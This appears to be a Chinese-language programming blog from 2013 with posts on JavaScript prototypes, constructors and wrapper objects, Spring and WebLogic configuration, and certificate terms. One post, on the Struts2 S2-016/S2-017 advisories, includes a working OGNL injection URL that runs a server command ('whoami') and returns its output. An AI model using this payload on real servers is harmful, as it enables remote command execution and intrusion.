8/02/2013
4:53:00 PM 0

Javascript Prototype Chain

Javascript 使用 prototype 來達到類似其他語言的繼承概念, 要了解 Javascript 的繼承, 首先要了解 prototype chain, 當我們建立一個 Javascript 物件, 並使用 Javascript 屬性時, 會先從物件內部所擁有的屬性開始尋找, 如果找不到屬性的名稱,就會從 prototype 所指向的物件繼續搜尋, 一層一層的往內搜尋, 這就是原型鏈搜尋

首先我們使用 function 來建構一個物件 (Object Constructor)
function Earth(){};
接著建立一個物件實例(Object Instances)
var e1 = new Earth();
建立實例的過程中不單單是設定 name 屬性, 還把 Employee 所繼承的物件帶給 e1

new 的動作相當於
    var e1 = {};
    e1.__proto__ = Earth.prototype;//__proto__  Non-standard
    Earth.call(e1);
使用 Chrome Developer Tools 可看出 e1 的屬性和方法










測試 e1.constructor (關於 constructor 參考 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor)
> e1.constructor
[Function: Earth]
e1 沒有 constructor 屬性, 所以往內部查找 __proto__ 正好有這屬性, 所以輸出 __proto__.constructor, 由此可推論  e1.constructor == e1.__proto__.constructor
> e1.constructor == e1.__proto__.constructor
true
> Earth.prototype.constructor == e1.constructor
true
從上面的例子可看出 prototype 屬性會決定繼承的物件, 改變 prototype 屬性後, 再 new 出來的物件繼承關係也跟著改變


接下來說明 instanceof, instanceof 在 Java 中也有這個功能, 作用也類似,
Javascript 的 instanceof 會從 prototype chain 查找, 是否包含建構物件的 prototype, MDN 中有實做出類似 instanceof  內部運作的方式, 可參考 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model?redirectlocale=en-US&redirectslug=JavaScript%2FGuide%2FDetails_of_the_Object_Model#Determining_instance_relationships

做個綜合測試
> function X(){}
undefined
> X.constructor //所有 function 都是 Function object
function Function() { [native code] }
> X.prototype.constructor //參考到 X
function X(){}
> var o1 = new X()
undefined
> o1 instanceof X
true
> o1.constructor //等於 o1.__proto__.constructor
function X(){}
> X.prototype = [] //改變 X.prototype 參考到陣列
[]
> var o2 = new X()
undefined
> o1 instanceof X // 相當於 o1.__proto__ == X.prototype
false
> X.prototype.isPrototypeOf(o1);
false
> o2 instanceof X // 相當於 o2.__proto__ == X.prototype
true
> o1 instanceof Array
false
> o2 instanceof Array
true
> X.constructor
function Function() { [native code] }
> X.prototype.constructor
function Array() { [native code] }
> o1.constructor
function X(){}
> o2.constructor
function Array() { [native code] }
所有 function 都是 Function object 的實例, 所以 X.constructor 指向 Function, X.prototype.constructor 指向 X,
建立物件會沿著 prototype chain 尋找, 因此
 var o1 = new X();
相當於
    var o1 = {};
    o1.__proto__ = X.prototype;//reference X
    X.call(o1);
而 X.prototype = []; 改變了 prototype 的參考對象, 因此 X 的 prototype chain 改變了
    var o2 = {};
    o2.__proto__ = X.prototype;//reference Array
    X.call(o2);
要怎麼讓 o1 instanceof X 變成 true 呢? 只要讓 o1.__proto__ 和 X.prototype 一致就行了
> o1.__proto__ = X.prototype;
[]
> o1 instanceof X;
true
> X.prototype.isPrototypeOf(o1);
true
7/31/2013
4:52:00 PM 0

Javascript Constructor Property

Javascript constructor 是建構該物件之執行個體的函式參考,所以當建立該物件時就會賦予 constructor 屬性值
function Employee(name, department)
{
    this.name = name;
    this.department = department;
}

var e1 = new Employee('Albert', 'accounting');
var e2 = new Employee('Grace', 'sales');
console.log(e1 instanceof Employee);
console.log(e2 instanceof Employee);
console.log(e1.constructor == Employee);
console.log(e2.constructor == Employee);
output
--------------------------------------------
true
true
true
true

但如果使用 constructor 屬性來判斷 constructor function 是不安全的, 因為 constructor 是可以被修改的
function NewType(){};

e1.constructor = NewType;
console.log(e1 instanceof Employee);
console.log(e1 instanceof NewType);
console.log(e1.constructor == Employee);
console.log(e1.constructor == NewType);
console.log(e1.constructor instanceof Function);
output
--------------------------------------------
true
false
false
true
true
var newTypeInstance = new NewType();
e2.constructor = newTypeInstance;
console.log(e2 instanceof Employee);
console.log(e2 instanceof NewType);
console.log(e2.constructor == Employee);
console.log(e2.constructor == NewType);
console.log(e2.constructor instanceof Function);
console.log(e2.constructor == newTypeInstance);
output
--------------------------------------------
true
false
false
false
false
true

Javascript 除了基本型別(primitive types)之外,其餘都是物件,因此都有constructor屬性
console.log(this.constructor);
console.log(RegExp.constructor);
console.log(Date.constructor);
console.log("xyz".constructor);
output
--------------------------------------------
function Window() { [native code] }
function Function() { [native code] }
function Function() { [native code] }
function String() { [native code] }

Wrapper Object 上場
var num = 1;
console.log(num.constructor);
output
--------------------------------------------
function Number() { [native code] }

一般建構函式不需要有 return, 當有設定回傳值時, 會改變 constructor 所參考的值
1. 回傳值是物件 : 會改變 constructor 所參考的值,並且影響 instanceof 判斷結果
2. 回傳值是基本型別 : 不影響 constructor 所參考的值

function Book1(isbn, name)
{
    this.isbn = isbn;
    this.name = name;
 
    return [isbn, name];
}
var b1 = new Book1('123', 'Book1');
console.log(b1 instanceof Book1);
console.log(b1 instanceof Array);
console.log(b1.constructor == Book1);
console.log(b1.constructor == Array);
console.log("###############################");
function Book2(isbn, name)
{
    this.isbn = isbn;
    this.name = name;
 
    return true;
}
var b2 = new Book2('456', 'Book2');
console.log(b2 instanceof Book2);
console.log(b2 instanceof Array);
console.log(b2.constructor == Book2);
console.log(b2.constructor == Array);
output
--------------------------------------------
false
true
false
true
###############################
true
false
true
false

Set Spring Property File Encoding

<bean id="contextPropertyConfigurer"
    class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
     <property name="locations">
         <list>
             <value>classpath:test.properties</value>
         </list>
     </property>
     <property name="fileEncoding" value="UTF-8"/>
</bean>
<bean id="sysConfig" 
    class="org.springframework.beans.factory.config.PropertiesFactoryBean">
    <property name="location" value="classpath:test.properties"/>
    <property name="fileEncoding" value="UTF-8"/>
</bean>
7/29/2013
3:56:00 PM 0

WebLogic Session Timeout 設定

方法一 : weblogic.xml
<session-descriptor>
    <timeout-secs>2400</timeout-secs><!--seconds-->
</session-descriptor>
WebLogic Console ==> deployments / deployment name / Configuration / General / Session Timeout (in seconds)
WebLogic Console 中的設定值, 就是 weblogic.xml 的值

方法二 : web.xml
<session-config>
    <session-timeout>120</session-timeout><!--minutes-->
</session-config>
設定0或小於0則 session 永遠不會 time out (可參考 web-app_2_3.dtd 內的說明)
7/19/2013
3:07:00 PM 0

Apache Struts2 發布 S2-016 S2-017 漏洞公告

2013年七月 Apache Struts2 發布漏洞公告, 有心人士可以利用這漏洞執行伺服器指令

http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html

測試了一下

test1 :
http://127.0.0.1/test.action?redirect:http://www.google.com/
test2 :
http://127.0.0.1/test.action?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'whoami'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

結果都可正確執行並回傳,這漏洞造成的影響相當大,可以利用此漏洞執行伺服器端的指令,
主要的漏洞是源自於 OGNL(Object-Graph Navigation Language), 是內建於 Struts2 中的 EL(Expression Language)

詳細可參考 : http://www.inbreak.net/archives/507
7/17/2013

數位憑證基本名詞

數位憑證遵循 X.509 標準

CSR 憑證簽章要求檔 (Certificate Signing Request)

一般申請憑證必須先用工具產生 CSR 檔,產生過程中會將公鑰和私鑰, 一起產生出來,CSR 中包含憑證的基本資訊和公鑰, 產生之後將 CSR 送給 CA 做簽署
wikipedia : http://en.wikipedia.org/wiki/Certificate_signing_request

憑證認證採行由上而下的階層設計 Root CA >> CA >> Certificate


Root certificate : 自我簽署的作用,根憑證授權單位有能力指派中繼憑證授權者
wikipedia : http://en.wikipedia.org/wiki/Root_certificate
Intermediate certificate : 中繼憑證授權單位,可發出伺服器憑證,個人憑證,發行者憑證,或其他中繼憑證授權單位
wikipedia : http://en.wikipedia.org/wiki/Intermediate_certificate_authorities
Domain certificate : 一般使用者所申請的網域或伺服器憑證
7/12/2013
2:36:00 PM 0

Javascript Wrapper Object

Javascript 有五個基本型別(primitive types)

string
number
boolean
null
undefined

除了這五個之外, 其他都是物件(object)
去掉 null 及 undefined, 其他三個各有對應的 wrapper 物件

string --> String
number --> Number
boolean --> Boolean

Javascript 在執行過程中可以彈性化的轉換基本型別到相對應的 wrapper 物件
var a = "123";
console.log(typeof a);
a.test = "456";
console.log(a.test);
output
--------------------------------------------
string
undefined
因為是基本型別無法賦予屬性, 所以 a.test 會顯示 undefined

自動轉型成 String 物件
var b = "456";
console.log(b.length);
output
--------------------------------------------
3

如果要自訂屬性則必須使用 wrapper 物件
var obj = new String("test");
obj.test1 = "test wrapper object";
console.log(obj.test1);
console.log(typeof obj);
output
--------------------------------------------
test wrapper object
object

模擬 String 物件內部的操作方式
var obj = {
  "0" : "t"
  "1" : "e"
  "2" : "s"
  "3" : "t"
  length: 4
  test1: "test wrapper object"
}

再來看看 Number 物件
var x = 99;
var y = new Number(99);
console.log(typeof x);
console.log(typeof y); 
console.log(x == y); 
console.log(x === y);
output
--------------------------------------------
number
object
true
false

比較 x == y 時,會呼叫 valueOf() 取得回傳值,並做比較的動作
var s1 = new String("abc");
var n1 = new Number(111);
var b1 = new Boolean(true);
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
String.prototype.valueOf = function() { return "xyz";}
Number.prototype.valueOf = function() { return 999;}
Boolean.prototype.valueOf = function() { return false;}
console.log(s1 == "abc");
console.log(n1 == 111);
console.log(b1 == true);
console.log(s1.toString());
console.log(n1.toString());
console.log(b1.toString());
output
--------------------------------------------
true
true
true
false
false
false
abc
111
true